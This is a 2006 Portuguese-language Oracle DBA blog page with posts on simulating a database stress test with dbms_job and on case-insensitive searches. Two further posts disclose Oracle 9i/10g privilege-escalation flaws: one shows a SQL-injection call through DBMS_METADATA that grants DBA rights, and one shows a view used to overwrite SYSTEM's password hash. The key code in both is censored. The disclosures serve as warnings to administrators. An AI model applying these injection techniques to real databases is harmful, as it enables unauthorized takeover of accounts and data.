.comment-link {margin-left:.6em;}

Tuesday, April 25, 2006

Simulando um Stress Teste

O estresse teste consiste em colocar algo a prova. Em nosso caso uma aplicação. Recebi uma dúvida hoje e vou tentar desenvolvê-la na medida do possível. Um verdadeiro Estresse Teste deveria ser realizado utilizando um "verdadeiro" software de Stress Test. Uma pequena busca no Google e econtramos algumas dezenas. Voltando a dúvida, ela é sobre submeter um script várias vezes contra uma base de dados simultaneamente.

A dúvida:


deixe eu te pedir um favor:
quero gerar um script que faça n conexões no banco ao mesmo tempo para simular um ambiente de producao .... tem jeito?

Pensei em um procedimento simples que faz insert em uma tabela (mas aqui vale o que a aplicação quer validar: update, delete, select, connect, etc). Submeti 30 vezes simultaneas. Para isso, usei o dbms_job. Sempre lembrar de setar o parametro job_queue_processes para 30 (número de jobs simultanes).

NAME TYPE VALUE
------------------------------------ ----------- ----------------
job_queue_processes integer 30
Depois rodei um bloco anônimo para chamar a stored procedure 30 vezes (loop) e controle da execução através de uma tabela que tem os números dos jobs submetidos. Não havia necessidade desse controle, porém serve como exemplo de como se faz uma chamada coordenada (isso é útil para coordenar uma execução em paralelo manual).

E agora o teste. Durante a execução, fiz busca no sistema operacional para ver quantas sessões do ora_j0xx_LNX10GR2 foram disparadas. O teste foi realizado em um Linux Red Hat EL 4 usando Oracle 10gR2.

SQL> create table t ( x int );

Table created.

SQL>
SQL> create table hold_job ( x int );

Table created.

SQL>
SQL> create or replace procedure p ( job in number )
2 as
3 PRAGMA AUTONOMOUS_TRANSACTION;
4 begin
5 for i in 1 .. 1000
6 loop
7 insert into t values ( i );
8 commit ;
9 end loop;
10 delete from hold_job where x = job;
11 commit;
12 end;
13 /

Procedure created.

SQL>
SQL> declare
2 l_job number;
3 l_cnt number;
4 begin
5 for x in 1 .. 30
6 loop
7 dbms_job.submit( l_job, 'p (JOB);' );
8 insert into hold_job values (l_job);
9 end loop;
10 commit;
11 loop
12 dbms_lock.sleep(30);
13 select count(*) into l_cnt from hold_job;
14 exit when (l_cnt = 0);
15 end loop;
16 end;
17 /

PL/SQL procedure successfully completed.

E durante a execução este foi o resultado do ps -ef | grep ora_j0

SQL> !ps -ef | grep ora_j0
oracle 15875 1 2 02:06 ? 00:00:01 ora_j000_LNX10GR2
oracle 15881 1 3 02:07 ? 00:00:01 ora_j001_LNX10GR2
oracle 15883 1 3 02:07 ? 00:00:01 ora_j002_LNX10GR2
oracle 15885 1 4 02:07 ? 00:00:01 ora_j003_LNX10GR2
oracle 15887 1 4 02:07 ? 00:00:01 ora_j004_LNX10GR2
oracle 15889 1 2 02:07 ? 00:00:00 ora_j005_LNX10GR2
oracle 15891 1 2 02:07 ? 00:00:00 ora_j006_LNX10GR2
oracle 15893 1 4 02:07 ? 00:00:01 ora_j007_LNX10GR2
oracle 15895 1 5 02:07 ? 00:00:01 ora_j008_LNX10GR2
oracle 15897 1 2 02:07 ? 00:00:00 ora_j009_LNX10GR2
oracle 15899 1 4 02:07 ? 00:00:01 ora_j010_LNX10GR2
oracle 15901 1 4 02:07 ? 00:00:01 ora_j011_LNX10GR2
oracle 15903 1 4 02:07 ? 00:00:01 ora_j012_LNX10GR2
oracle 15905 1 4 02:07 ? 00:00:01 ora_j013_LNX10GR2
oracle 15908 1 4 02:07 ? 00:00:01 ora_j014_LNX10GR2
oracle 15910 1 4 02:07 ? 00:00:01 ora_j015_LNX10GR2
oracle 15912 1 4 02:07 ? 00:00:01 ora_j016_LNX10GR2
oracle 15914 1 0 02:07 ? 00:00:00 ora_j017_LNX10GR2
oracle 15918 1 0 02:07 ? 00:00:00 ora_j018_LNX10GR2
oracle 15925 1 0 02:07 ? 00:00:00 ora_j019_LNX10GR2
oracle 15927 1 0 02:07 ? 00:00:00 ora_j020_LNX10GR2
oracle 15929 1 1 02:07 ? 00:00:00 ora_j021_LNX10GR2
oracle 15931 1 1 02:07 ? 00:00:00 ora_j022_LNX10GR2
oracle 15933 1 1 02:07 ? 00:00:00 ora_j023_LNX10GR2
oracle 15935 1 0 02:07 ? 00:00:00 ora_j024_LNX10GR2
oracle 15937 1 1 02:07 ? 00:00:00 ora_j025_LNX10GR2
oracle 15939 1 0 02:07 ? 00:00:00 ora_j026_LNX10GR2
oracle 15941 1 1 02:07 ? 00:00:00 ora_j027_LNX10GR2
oracle 15943 1 1 02:07 ? 00:00:00 ora_j028_LNX10GR2
oracle 15945 1 1 02:07 ? 00:00:00 ora_j029_LNX10GR2
marcio 15968 15877 0 02:07 pts/2 00:00:00 /bin/bash -c ps -ef | grep ora_j0
marcio 15970 15968 0 02:07 pts/2 00:00:00 grep ora_j0
A brincadeira ficou ainda mais interessante, porque pude investigar como o AWR joga com o ADDM. Realmente Statspack é coisa do passado. Se for reproduzir o teste em 9i, não deixe de usar o statspacks para verificar os waits (obviamente a freelist está em contenção) - não importa, pelo menos faça o exercício da investigação.

Espero que ajude Professor! :-) Abraços,

Labels:


Sunday, April 23, 2006

Cuidado com Privilégios

Mais um problema com segurança no Oracle. Resolvi publicar essa vulnerabilidade por ser um problema antigo e mesmo assim, alguns DBAs relutam em tirar o privilégio da package DBMS_METADATA do PUBLIC.

Vamos ao problema: trata-se da técnica de SQL Injection justamente com uma package que o SYS executa, portanto o BURACO de segurança, permitindo que um simples usuário com conexão e direito de criar procedures pode tornar-se DBA!!

Exemplo:
Antes porém, quero explicar que vou suprimir o código da função para não ajudar a nenhum script-kid a brincar com bases por ai. O código não é nada do outro mundo, porém não quero ser responsável por nenhum copy/paste e o garoto facilmente obter role de DBA.

Esse bug afeta até a versão 9ir2. Na 10g isso foi corrigido.

SQL> select * from v$version;

BANNER
----------------------------------------------------------------
Oracle9i Enterprise Edition Release 9.2.0.6.0 - Production
PL/SQL Release 9.2.0.6.0 - Production
CORE 9.2.0.6.0 Production
TNS for Linux: Version 9.2.0.6.0 - Production
NLSRTL Version 9.2.0.6.0 - Production

5 rows selected.

SQL>
SQL> drop user hacker cascade;

User dropped.

SQL>
SQL> create user hacker identified by iamgod;

User created.

SQL> grant create session, create procedure to hacker;

Grant succeeded.

SQL>
SQL> connect hacker/iamgod;
Connected.
SQL>
SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
CREATE SESSION
CREATE PROCEDURE

2 rows selected.

SQL>
SQL> create or replace
2 function "HACKER"."QUERO_SER_DBA" return varchar2
3 authid current_user
4 is
... [censurado] ...
19 return '';
20 end;
21 /

Function created.

SQL> select sys.dbms_metadata.get_ddl('''||HACKER.QUERO_SER_DBA()||''','')
2 from dual;
ERROR:
ORA-31600: invalid input value '||HACKER.QUERO_SER_DBA()||' for parameter OBJECT_TYPE in function GET_DDL
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900
ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606
ORA-06512: at "SYS.DBMS_METADATA", line 504
ORA-06512: at "SYS.DBMS_METADATA", line 560
ORA-06512: at "SYS.DBMS_METADATA", line 1221
ORA-06512: at line 1



no rows selected

SQL>
SQL> disconnect
Disconnected from Oracle9i Enterprise Edition Release 9.2.0.6.0 - Production
With the Partitioning and Oracle Data Mining options
JServer Release 9.2.0.6.0 - Production
SQL> connect hacker/iamgod
Connected.
SQL>
SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
ALTER SYSTEM
AUDIT SYSTEM
CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
CREATE TABLESPACE
ALTER TABLESPACE
MANAGE TABLESPACE
DROP TABLESPACE
UNLIMITED TABLESPACE
CREATE USER
BECOME USER
ALTER USER
DROP USER
CREATE ROLLBACK SEGMENT
ALTER ROLLBACK SEGMENT
DROP ROLLBACK SEGMENT
CREATE TABLE
CREATE ANY TABLE
...
DROP ANY EVALUATION CONTEXT
EXECUTE ANY EVALUATION CONTEXT
CREATE RULE SET
CREATE ANY RULE SET
ALTER ANY RULE SET
DROP ANY RULE SET
EXECUTE ANY RULE SET

140 rows selected.


O mesmo teste na 10g.


SQL> select sys.dbms_metadata.get_ddl('''||HACKER.QUERO_SER_DBA()||''','')
2 from dual;
ERROR:
ORA-31600: invalid input value '||HACKER.QUERO_SER_DBA()||' for parameter OBJECT_TYPE in function GET_DDL
ORA-06512: at "SYS.DBMS_METADATA", line 2681
ORA-06512: at "SYS.DBMS_METADATA", line 2732
ORA-06512: at "SYS.DBMS_METADATA", line 4333
ORA-06512: at line 1



no rows selected

SQL>
SQL> disconnect
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Production
With the Partitioning, OLAP and Data Mining options
SQL> connect hacker/iamgod
Connected.
SQL>
SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
CREATE SESSION
CREATE PROCEDURE

2 rows selected.

Labels:


Wednesday, April 12, 2006

Esperando por respostas...

Fiquei um pouco surpreso hoje quando recebi a notícia de vulnerabilidade no Oracle 9ir2/10gr1. Com simples grant de create session e create view, um usuário malicioso pode modificar dados de uma tabela que não tenha privilégios. Até o sys!

Exemplo tirado de um site por ai...

C:\>sqlplus dbsnmp/dbsnmp

SQL*Plus: Release 10.1.0.4.0 - Production on Thu Apr 11 12:20:27 2006
Copyright (c) 1982, 2005, Oracle. All rights reserved.


Connected to:
Oracle Database 10g Enterprise Edition Release 10.1.0.4.0 - Production With the Partitioning, OLAP and Data Mining options

SQL> select * from v$version;

BANNER
----------------------------------------------------------------
Oracle Database 10g Enterprise Edition Release 10.1.0.4.0 - Prod PL/SQL Release 10.1.0.4.0 - Production
CORE 10.1.0.4.0 Production
TNS for 32-bit Windows: Version 10.1.0.4.0 - Production NLSRTL Version 10.1.0.4.0 - Production


SQL> -- (as expected)
SQL> update sys.user$ set password='BC903FAEBB69EFBF' where name='SYSTEM';
update sys.user$ set password='BC903FAEBB69EFBF' where name='SYSTEM'
*
ERROR at line 1:
ORA-01031: insufficient privileges

SQL> create or replace view e as select [...censored...];

View created.

SQL> update e set password='BC903FAEBB69EFBF' where name ='SYSTEM';

1 row updated.

E por ai vai. Resta saber quando a Oracle publicará um patch para esse ENORME buraco.

Labels:


Sunday, April 09, 2006

Ignore Cases (e acentos)

Já vi várias dúvidas sobre fazer busca em um campo desconsiderando se o valor está em minúsculo ou maísculo. Com a versão 9ir2 (9.2.0) já é possível alterando parâmetros de globalização na sessão.


Connected to:
Oracle9i Enterprise Edition Release 9.2.0.6.0 - Production
With the Partitioning and Oracle Data Mining options
JServer Release 9.2.0.6.0 - Production

SQL> create table t ( x varchar2(20) );

Table created.

SQL> insert into t values ( 'Marcio' );

1 row created.

SQL> insert into t values ( 'MARCIO' );

1 row created.

SQL> insert into t values ( 'MárCio' );

1 row created.

SQL> commit;

Commit complete.

SQL> select * from t where x = 'marcio';

no rows selected

SQL> alter session set nls_comp=ansi;

Session altered.

SQL> alter session set nls_sort=generic_baseletter;

Session altered.

SQL> select * from t where x = 'marcio';

X
--------------------
Marcio
MARCIO
MárCio

3 rows selected.

This page is powered by Blogger. Isn't yours?